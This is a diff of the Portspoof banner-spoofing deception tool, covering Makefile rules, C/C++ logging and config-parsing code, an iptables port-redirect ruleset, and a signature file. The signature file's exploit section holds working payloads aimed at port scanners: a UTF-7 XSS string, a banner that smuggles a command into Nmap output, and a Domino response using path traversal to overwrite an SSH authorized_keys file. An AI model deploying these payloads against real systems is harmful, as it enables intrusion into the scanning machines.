ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
unique=`for i in $$list; do \ unique=`for i in $$list; do \
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
done | \ done | \
$(AWK) ' { files[$$0] = 1; } \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \
END { for (i in files) print i; }'`; \ END { if (nonempty) { for (i in files) print i; }; }'`; \
mkid -fID $$unique mkid -fID $$unique
tags: TAGS tags: TAGS
TAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \ TAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \
$(TAGS_FILES) $(LISP) $(TAGS_FILES) $(LISP)
tags=; \ set x; \
here=`pwd`; \ here=`pwd`; \
list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \ list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \
unique=`for i in $$list; do \ unique=`for i in $$list; do \
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
done | \ done | \
$(AWK) ' { files[$$0] = 1; } \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \
END { for (i in files) print i; }'`; \ END { if (nonempty) { for (i in files) print i; }; }'`; \
if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ shift; \
if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \
test -n "$$unique" || unique=$$empty_fix; \ test -n "$$unique" || unique=$$empty_fix; \
$(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ if test $$# -gt 0; then \
$$tags $$unique; \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
"$$@" $$unique; \
else \
$(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
$$unique; \
fi; \
fi fi
ctags: CTAGS ctags: CTAGS
CTAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \ CTAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \
$(TAGS_FILES) $(LISP) $(TAGS_FILES) $(LISP)
tags=; \
here=`pwd`; \
list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \ list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \
unique=`for i in $$list; do \ unique=`for i in $$list; do \
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
done | \ done | \
$(AWK) ' { files[$$0] = 1; } \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \
END { for (i in files) print i; }'`; \ END { if (nonempty) { for (i in files) print i; }; }'`; \
test -z "$(CTAGS_ARGS)$$tags$$unique" \ test -z "$(CTAGS_ARGS)$$unique" \
|| $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
$$tags $$unique $$unique
GTAGS: GTAGS:
here=`$(am__cd) $(top_builddir) && pwd` \ here=`$(am__cd) $(top_builddir) && pwd` \
&& cd $(top_srcdir) \ && $(am__cd) $(top_srcdir) \
&& gtags -i $(GTAGS_ARGS) $$here && gtags -i $(GTAGS_ARGS) "$$here"
distclean-tags: distclean-tags:
-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
@ -408,13 +472,17 @@ distdir: $(DISTFILES)
if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
if test -d $$d/$$file; then \ if test -d $$d/$$file; then \
dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \
if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ if test -d "$(distdir)/$$file"; then \
cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
fi; \ fi; \
cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \
find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
fi; \
cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \
else \ else \
test -f $(distdir)/$$file \ test -f "$(distdir)/$$file" \
|| cp -p $$d/$$file $(distdir)/$$file \ || cp -p $$d/$$file "$(distdir)/$$file" \
|| exit 1; \ || exit 1; \
fi; \ fi; \
done done
@ -445,6 +513,7 @@ clean-generic:
distclean-generic: distclean-generic:
-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
-test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES)
maintainer-clean-generic: maintainer-clean-generic:
@echo "This command is intended for maintainers to use" @echo "This command is intended for maintainers to use"
@ -465,6 +534,8 @@ dvi-am:
html: html-am html: html-am
html-am:
info: info-am info: info-am
info-am: info-am:
@ -473,18 +544,28 @@ install-data-am:
install-dvi: install-dvi-am install-dvi: install-dvi-am
install-dvi-am:
install-exec-am: install-binPROGRAMS install-exec-am: install-binPROGRAMS
install-html: install-html-am install-html: install-html-am
install-html-am:
install-info: install-info-am install-info: install-info-am
install-info-am:
install-man: install-man:
install-pdf: install-pdf-am install-pdf: install-pdf-am
install-pdf-am:
install-ps: install-ps-am install-ps: install-ps-am
install-ps-am:
installcheck-am: installcheck-am:
maintainer-clean: maintainer-clean-am maintainer-clean: maintainer-clean-am
@ -506,7 +587,7 @@ ps-am:
uninstall-am: uninstall-binPROGRAMS uninstall-am: uninstall-binPROGRAMS
.MAKE: install-am install-strip .MAKE: all install-am install-strip
.PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS \ .PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS \
clean-generic ctags distclean distclean-compile \ clean-generic ctags distclean distclean-compile \
@ -521,6 +602,7 @@ uninstall-am: uninstall-binPROGRAMS
mostlyclean-compile mostlyclean-generic pdf pdf-am ps ps-am \ mostlyclean-compile mostlyclean-generic pdf pdf-am ps ps-am \
tags uninstall uninstall-am uninstall-binPROGRAMS tags uninstall uninstall-am uninstall-binPROGRAMS
# Tell versions [3.59,3.63) of GNU make to not export all variables. # Tell versions [3.59,3.63) of GNU make to not export all variables.
# Otherwise a system limit (for SysV at least) may be exceeded. # Otherwise a system limit (for SysV at least) may be exceeded.
.NOEXPORT: .NOEXPORT:

@ -61,7 +61,7 @@ Server::Server(Configuration* configuration)
int n = 1; int n = 1;
setsockopt(sockd, SOL_SOCKET, SO_REUSEADDR , &n, sizeof(n)); setsockopt(sockd, SOL_SOCKET, SO_REUSEADDR , &n, sizeof(n));
/* server address - by default localhost */ /* server address - by default localhost */
my_name.sin_family = PF_INET; my_name.sin_family = PF_INET;
if(configuration->getConfigValue(OPT_IP)) if(configuration->getConfigValue(OPT_IP))

@ -1,4 +1,46 @@
/*
* Portspoof - Service Signature Emulator / Offesnsive Defense Exploitation Framework
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <http://www.gnu.org/licenses>.
*
* Linking portspoof statically or dynamically with other modules is making
* a combined work based on Portspoof. Thus, the terms and conditions of
* the GNU General Public License cover the whole combination.
*
* In addition, as a special exception, the copyright holder of Portspoof
* gives you permission to combine Portspoof with free software programs or
* libraries that are released under the GNU LGPL. You may copy
* and distribute such a system following the terms of the GNU GPL for
* Portspoof and the licenses of the other code concerned.
*
* Note that people who make modified versions of Portspoof are not obligated
* to grant this special exception for their modified versions; it is their
* choice whether to do so. The GNU General Public License gives permission
* to release a modified version without this exception; this exception
* also makes it possible to release a modified version which carries
* forward this exception.
*/
#include "Utils.h" #include "Utils.h"
pthread_cond_t log_cond = PTHREAD_COND_INITIALIZER;
pthread_mutex_t log_mutex = PTHREAD_MUTEX_INITIALIZER;
void Utils::hexdump(void *mem, unsigned int len) void Utils::hexdump(void *mem, unsigned int len)
{ {
unsigned int i, j; unsigned int i, j;
@ -50,20 +92,20 @@ std::vector<char> Utils::wrapNMAP(string wrapper,std::vector<char> payload)
string str; string str;
std::vector<char> result_vector; std::vector<char> result_vector;
ss<<wrapper.substr(0,wrapper.find("__FUZZ__")); ss<<wrapper.substr(0,wrapper.find(FUZZING_KEYWORD));
str=ss.str(); str=ss.str();
for(int i=0; i<str.length();i++) for(unsigned int i=0; i<str.length();i++)
result_vector.push_back(str[i]); result_vector.push_back(str[i]);
result_vector.insert(result_vector.end(),payload.begin(),payload.end()); result_vector.insert(result_vector.end(),payload.begin(),payload.end());
ss.str(""); ss.str("");
ss<<wrapper.substr(wrapper.find("__FUZZ__")+strlen("__FUZZ__"),wrapper.size()); ss<<wrapper.substr(wrapper.find(FUZZING_KEYWORD)+strlen(FUZZING_KEYWORD),wrapper.size());
str=ss.str(); str=ss.str();
for(int i=0; i<str.length();i++) for(unsigned int i=0; i<str.length();i++)
result_vector.push_back(str[i]); result_vector.push_back(str[i]);
return result_vector; return result_vector;
@ -151,4 +193,45 @@ char * Utils::get_substring_value(char* str)
memset(substr,0,eoffset-soffset); memset(substr,0,eoffset-soffset);
memcpy(substr,str+soffset+1,eoffset-soffset-1); memcpy(substr,str+soffset+1,eoffset-soffset-1);
return substr; return substr;
}
void Utils::log_create(const char* file){
FILE *fp = fopen(file, "a");
if (fp == NULL) {
fp = fopen(file, "w");
}
fclose(fp);
return;
}
void Utils::log_write(Configuration* configuration,const char* msg) {
pthread_mutex_lock(&log_mutex);
if(configuration->getConfigValue(OPT_LOG_FILE))
{
FILE *fp = fopen(configuration->getLogFile().c_str(), "a");
if (fp == NULL) {
fprintf(stdout,"Error opening file: %s \n",configuration->getLogFile().c_str());
exit(1);
}
fprintf(fp,"%s",msg);
fclose(fp);
}
if(!(configuration->getConfigValue(OPT_SYSLOG_DIS)))
{
openlog(SYSLOG_NAME, LOG_PID|LOG_CONS, LOG_USER);
syslog(LOG_INFO," %s",msg);
closelog();
}
pthread_mutex_unlock(&log_mutex);
return;
} }

@ -1,3 +1,39 @@
/*
* Portspoof - Service Signature Emulator / Offesnsive Defense Exploitation Framework
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <http://www.gnu.org/licenses>.
*
* Linking portspoof statically or dynamically with other modules is making
* a combined work based on Portspoof. Thus, the terms and conditions of
* the GNU General Public License cover the whole combination.
*
* In addition, as a special exception, the copyright holder of Portspoof
* gives you permission to combine Portspoof with free software programs or
* libraries that are released under the GNU LGPL. You may copy
* and distribute such a system following the terms of the GNU GPL for
* Portspoof and the licenses of the other code concerned.
*
* Note that people who make modified versions of Portspoof are not obligated
* to grant this special exception for their modified versions; it is their
* choice whether to do so. The GNU General Public License gives permission
* to release a modified version without this exception; this exception
* also makes it possible to release a modified version which carries
* forward this exception.
*/
#ifndef UTILS_H #ifndef UTILS_H
#define UTILS_H #define UTILS_H
@ -12,12 +48,22 @@
#include <sstream> #include <sstream>
#include <iostream> #include <iostream>
#include <vector> #include <vector>
#include <syslog.h>
#include <pthread.h>
#include <unistd.h>
#include "Configuration.h"
class Configuration;
extern Configuration* configuration;
#ifndef HEXDUMP_COLS #ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16 #define HEXDUMP_COLS 16
#endif #endif
#define MAX_LOG_MSG_LEN 200
#define SYSLOG_NAME "portspoof"
#define FUZZING_KEYWORD "__FUZZ__"
using namespace std; using namespace std;
@ -31,7 +77,9 @@ class Utils {
static std::vector<char> wrapNMAP(string wrapper,std::vector<char> payload); static std::vector<char> wrapNMAP(string wrapper,std::vector<char> payload);
static std::vector<char> unescape( std::vector<char>& s); static std::vector<char> unescape( std::vector<char>& s);
static std::vector<char> str2vector( std::string& s); static std::vector<char> str2vector( std::string& s);
static void log_create(const char* file);
static void log_write(Configuration* configuration,const char* msg);
}; };

126
src/config_file.c Normal file → Executable file

@ -1,5 +1,13 @@
#include "config_file.h"
int isNumeric (const char * s)
{
if (s == NULL || *s == '\0' || isspace(*s))
return 0;
char * p;
strtod(s, &p);
return *p == '\0';
}
char * get_substring_value(char* str) char * get_substring_value(char* str)
{ {
@ -37,3 +45,119 @@ char * get_substring_value(char* str)
return substr; return substr;
} }
int get_nr_of_payloads(char* config_file)
{
FILE *fp = fopen(config_file, "r");
if (fp == NULL) {
printf("Error opening file: %s \n",config_file);
exit(1);
}
char tmp[BUFSIZE],str1[BUFSIZE], str2[BUFSIZE];
int nr_of_payloads=0;
while (fgets(tmp, BUFSIZE, fp))
if (strlen(tmp) >1 && tmp[0]!='#')
{
if(sscanf(tmp, "%s %s",str1,str2)==EOF){
printf("Error in configuration file");
exit(1);
}
if(str1==NULL || str2==NULL)
{
printf("Error in configuration file");
exit(1);
}
nr_of_payloads++;
}
fclose(fp);
return nr_of_payloads;
}
int process_config_file(struct signature **arr_lines2,int* signatures,int num_lines, char* config_file)
{
FILE *fp = fopen(config_file, "r");
if (fp == NULL) {
printf("Error opening file: %s \n",config_file);
exit(1);
}
char tmp[BUFSIZE], str1[BUFSIZE], str2[BUFSIZE];
int i=0,lp,hp;
char* substr;
int len;
while (fgets(tmp, BUFSIZE, fp))
if (strlen(tmp) >1 && tmp[0]!='#')
{
if(sscanf(tmp, "%s %s",(char *)str1,str2)==EOF){
printf("Error in configuration file");
exit(1);
}
if(str1==NULL || str2==NULL)
{
printf("Error in configuration file");
exit(1);
}
if(isNumeric(str1)) //single port
{
sscanf(str1,"%d",&lp);
substr=get_substring_value(tmp);
//DEBUG
//printf("port %d value: %s\n",lp,substr);
len=strlen(substr);
((signature*)(arr_lines2[num_lines+i-1]))->cptr=process_signature(substr,&len);;
((signature*)(arr_lines2[num_lines+i-1]))->len=len;
signatures[lp]=num_lines+i-1;
i++;
continue;
}
else
{
if(sscanf(str1, "%d-%d",&lp,&hp)==EOF){
printf("Error in configuration file\n");
exit(1);
}
if(lp==0 || hp==0)
{
printf("Error in configuration file");
exit(1);
}
substr=get_substring_value(tmp);
//DEBUG
//printf("range port %d-%d value: %s\n",lp,hp,substr);
len=strlen(substr);
((signature*)(arr_lines2[num_lines+i-1]))->cptr=process_signature(substr,&len);;
((signature*)(arr_lines2[num_lines+i-1]))->len=len;
int port=lp;
for(port;port<=hp;port++)
{
signatures[port]=num_lines+i-1;
}
i++;
continue;
}
}
fclose(fp);
return 0;
}

9
src/config_file.h Normal file → Executable file

@ -1,6 +1,9 @@
#include <stdio.h>
#include <string.h>
#include "revregex.h"
#include "connection.h"
int process_config_file(struct signature **arr_lines2,int* signatures,int num_lines, char* config_file); int process_config_file(struct signature **arr_lines2,int* signatures,int num_lines, char* config_file);
char *get_substring_value(char* str); char *get_substring_value(char* str);
int get_nr_of_payloads(char* config_file);

@ -1,4 +1,6 @@
550 4m2v4 (__FUZZ__)
+OK Lotus Notes POP3 server version lLlfMoHcd ready j* on __FUZZ__/xxx.\r\n
220 __FUZZ__ ESMTP OpenSMTPD\r\n 220 __FUZZ__ ESMTP OpenSMTPD\r\n
220 __FUZZ__ SMTP ready to roll\r\n
550 4m2v4 __FUZZ__
HTTP/1.0 200 OK\n<HTML><HEAD><TITLE>__FUZZ__'s desktop</TITLE></HEAD>\n<BODY>\n<APPLET CODE=vncviewer/VNCViewer.class ARCHIVE=vncviewer.jar WIDTH=44 HEIGHT=44>\n\t<param name=PORT value=4444>\n</APPLET>\n</BODY></HTML>\n HTTP/1.0 200 OK\n<HTML><HEAD><TITLE>__FUZZ__'s desktop</TITLE></HEAD>\n<BODY>\n<APPLET CODE=vncviewer/VNCViewer.class ARCHIVE=vncviewer.jar WIDTH=44 HEIGHT=44>\n\t<param name=PORT value=4444>\n</APPLET>\n</BODY></HTML>\n
HTTP/1.0 200 OK\r\nServer: Apache/__FUZZ__(Amazon)\r\nX-Powered-By: ASP\.NET\r\nCache-Control: no-cache, must-revalidate\r\nContent-type: text/html\r\nX-Powered-By: PHP/xxx\r\nExpires: Mon, 26 Jul 1997 05:00:00 GMT\r\n<title>Log In - Juniper Web Device Manager</title><address>Apache mod_perl/2.0.4 Perl/v5.10.1 Server at devtest.myhost.co.za Port 80</address>
+OK Lotus Notes POP3 server version lLlfMoHcd ready j* on __FUZZ__/xxx.\r\n

@ -1,18 +1,22 @@
# Generated by iptables-save v1.4.4 on Tue Apr 23 14:26:41 2013 # Generated by iptables-save v1.4.4 on Wed Jul 10 07:22:28 2013
*nat
:PREROUTING ACCEPT [5992:539002]
:INPUT ACCEPT [347451:16935290]
:OUTPUT ACCEPT [477:45868]
:POSTROUTING ACCEPT [0:0]
-A PREROUTING -i eth1 -p tcp -m tcp --dport 1:21 -j REDIRECT --to-ports 4444
-A PREROUTING -i eth1 -p tcp -m tcp --dport 23:65535 -j REDIRECT --to-ports 4444
COMMIT
# Completed on Tue Apr 23 14:26:42 2013
# Generated by iptables-save v1.4.4 on Tue Apr 23 14:26:42 2013
*filter *filter
:INPUT ACCEPT [1931192:104113948] :INPUT ACCEPT [1678171:82111055]
:FORWARD ACCEPT [0:0] :FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [1606583:151106362] :OUTPUT ACCEPT [937893:145800979]
-A FORWARD -j ACCEPT -A FORWARD -j ACCEPT
COMMIT COMMIT
# Completed on Tue Apr 23 14:26:42 2013 # Completed on Wed Jul 10 07:22:28 2013
# Generated by iptables-save v1.4.4 on Wed Jul 10 07:22:28 2013
*nat
:PREROUTING ACCEPT [4352:332304]
:INPUT ACCEPT [549244:30422764]
:OUTPUT ACCEPT [136:14911]
:POSTROUTING ACCEPT [0:0]
-A PREROUTING -i eth1 -p tcp -m tcp --dport 1:21 -j REDIRECT --to-ports 4444
-A PREROUTING -i eth1 -p tcp -m tcp --dport 23:65335 -j REDIRECT --to-ports 4444
-A PREROUTING -d 91.220.39.30/32 -p tcp -m tcp --dport 443 -j DNAT --to-destination 192.168.97.1:8080
-A PREROUTING -d 91.220.39.30/32 -p tcp -m tcp --dport 443 -j DNAT --to-destination 192.168.97.1:8080
-A POSTROUTING -j MASQUERADE
-A POSTROUTING -o eth1 -j MASQUERADE
COMMIT
# Completed on Wed Jul 10 07:22:28 2013

@ -73,6 +73,7 @@
49 "550 12345 0000000000000000000000000000000000000000000000000000000" 49 "550 12345 0000000000000000000000000000000000000000000000000000000"
50 "550 12345 0000000000000000000000000000000000000000000000000000000" 50 "550 12345 0000000000000000000000000000000000000000000000000000000"
90 "550 4m2v4 Interesting ports on \x22id|/bin/bash;#\x22:"
#Example: port range #Example: port range
51-60 "550 4m2v4 (FUZZ_HERE)" 51-60 "550 4m2v4 (FUZZ_HERE)"
@ -88,20 +89,18 @@
8100 "220 FUZZ_HERE ESMTP OpenSMTPD\r\n" 8100 "220 FUZZ_HERE ESMTP OpenSMTPD\r\n"
8101 "220 FUZZ_HERE SMTP ready to roll\r\n" 8101 "220 FUZZ_HERE SMTP ready to roll\r\n"
8102 "550 12345 FUZZ_HERE" 8102 "550 12345 FUZZ_HERE"
8103 "+OK Lotus Notes POP3 server version lLlfMoHcd ready j* on __FUZZ_HERE__\r\n"
8104 "HTTP/1.0 200 OK\r\nServer: Apache/__FUZZ__(Amazon)\r\nX-Powered-By: ASP\.NET\r\nCache-Control: no-cache, must-revalidate\r\nContent-type: text/html\r\nX-Powered-By: PHP/xxx\r\nExpires: Mon, 26 Jul 1997 05:00:00 GMT\r\n<title>Log In - Juniper Web Device Manager</title><address>Apache mod_perl/2.0.4 Perl/v5.10.1 Server at devtest.myhost.co.za Port 80</address>"
## EXPLOITS ##
# McAffee Superscan 4.0 UTF7 XSS 0day (old browsers)
9090 "550 12345 +ADw-img src=x onerror='a setter=alert,a=\x22UTF-7-XSS\x22; '+AD4-" 9090 "550 12345 +ADw-img src=x onerror='a setter=alert,a=\x22UTF-7-XSS\x22; '+AD4-"
# NMAP NSE 0day remote file upload ## EXPLOITS ##
# Vulnerable command:
#nmap --script http-domino-enum-passwords.nse -p 80 172.16.37.149 -sC -PN -n --script-args domino-enum-passwords.username='xxx',domino-enum-passwords.idpath='/tmp/test' # NMAP
#./nmap --script ./scripts/http-domino-enum-passwords.nse -p 80 172.16.37.149 -sC -PN -n --script-args domino-enum-passwords.username='xxx',domino-enum-passwords.password='secr',domino-enum-passwords.idpath='/tmp/test'
80 "HTTP/1\.0 200 OK\r\nServer: Apache/(IBM_Lotus_Domino_v\.6\.5\.\d)\r\n\r\n<html>\r\n<body><a href=\x22user-UserID\x22>\r\n<input name=\x22HTTPPassword\x22 value=\x22PPASSS\x22>\r\n<input name=\x22FullName\x22 value=\x22\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2fUsers\x2fpduszynski\x2f\.ssh\x2fauthorized_keys\x00\x61\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x25\x64\x0d\x0a\x22>\r\a\r\n<a href=\x22\%?OpenDocumentddddd\x22>\r\n<form action=\x22aaa?ReadForm&\x22>\r\n</body>\r\n</html>\r\n\x0d\x0a\x0d\x0a" 80 "HTTP/1\.0 200 OK\r\nServer: Apache/(IBM_Lotus_Domino_v\.6\.5\.\d)\r\n\r\n<html>\r\n<body><a href=\x22user-UserID\x22>\r\n<input name=\x22HTTPPassword\x22 value=\x22PPASSS\x22>\r\n<input name=\x22FullName\x22 value=\x22\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2fUsers\x2fpduszynski\x2f\.ssh\x2fauthorized_keys\x00\x61\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x25\x64\x0d\x0a\x22>\r\a\r\n<a href=\x22\%?OpenDocumentddddd\x22>\r\n<form action=\x22aaa?ReadForm&\x22>\r\n</body>\r\n</html>\r\n\x0d\x0a\x0d\x0a"
80 "whoami\n"

@ -41,13 +41,11 @@
#include <sys/socket.h> #include <sys/socket.h>
#include <sys/ioctl.h> #include <sys/ioctl.h>
#include <time.h> #include <time.h>
#include "threads.h" #include "Threads.h"
#include "connection.h" #include "connection.h"
#include "log.h" #include "log.h"
#include "Configuration.h" #include "Configuration.h"
Thread threads[MAX_THREADS];
void nonblock(int sockfd) void nonblock(int sockfd)
{ {
@ -116,7 +114,7 @@ void* process_connection(void *arg)
msg=(char*)malloc(MAX_LOG_MSG_LEN); msg=(char*)malloc(MAX_LOG_MSG_LEN);
memset(msg,0,MAX_LOG_MSG_LEN); memset(msg,0,MAX_LOG_MSG_LEN);
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,; snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
log_write(msg); Utils::log_write(configuration,msg);
free(msg); free(msg);
// //
@ -164,7 +162,7 @@ void* process_connection(void *arg)
msg =(char*)malloc(MAX_LOG_MSG_LEN); msg =(char*)malloc(MAX_LOG_MSG_LEN);
memset(msg,0,MAX_LOG_MSG_LEN); memset(msg,0,MAX_LOG_MSG_LEN);
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,; snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
log_write(msg); Utils::log_write(configuration,msg);
free(msg); free(msg);
// //
@ -196,7 +194,7 @@ void* process_connection(void *arg)
char* msg=(char*)malloc(MAX_LOG_MSG_LEN); char* msg=(char*)malloc(MAX_LOG_MSG_LEN);
memset(msg,0,MAX_LOG_MSG_LEN); memset(msg,0,MAX_LOG_MSG_LEN);
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Service_probe # SIGNATURE_SEND # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,; snprintf(msg,MAX_LOG_MSG_LEN,"%d # Service_probe # SIGNATURE_SEND # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
log_write(msg); Utils::log_write(configuration,msg);
free(msg); free(msg);
// //
@ -254,4 +252,6 @@ void* process_connection(void *arg)
} }
} }
return 0;
} }

@ -34,7 +34,7 @@
*/ */
#include <pthread.h> #include <pthread.h>
#include "threads.h" #include "Threads.h"
#include <sys/types.h> #include <sys/types.h>
#include <sys/socket.h> #include <sys/socket.h>
@ -59,12 +59,16 @@
#include "revregex.h" #include "revregex.h"
#include "Configuration.h" #include "Configuration.h"
#include "Server.h"
#ifndef CONNECTION_H
#define CONNECTION_H
#define SO_ORIGINAL_DST 80 #define SO_ORIGINAL_DST 80
#define TCPSTATES #define TCPSTATES
extern pthread_cond_t new_connection_cond;
extern pthread_mutex_t new_connection_mutex;
extern Thread threads[MAX_THREADS]; extern Thread threads[MAX_THREADS];
class Configuration; class Configuration;
@ -72,3 +76,6 @@ extern Configuration* configuration;
void nonblock(int sockfd); void nonblock(int sockfd);
void* process_connection(void *arg); void* process_connection(void *arg);
#endif

0
src/log.cpp Normal file → Executable file

0
src/log.h Normal file → Executable file

0
src/main.cpp Normal file → Executable file

Binary file not shown.

@ -1,5 +1,5 @@
/* /*
* portspoof Service signature obfucastor * Portspoof - Service Signature Emulator
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu> * Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
* *
* This program is free software; you can redistribute it and/or modify it * This program is free software; you can redistribute it and/or modify it
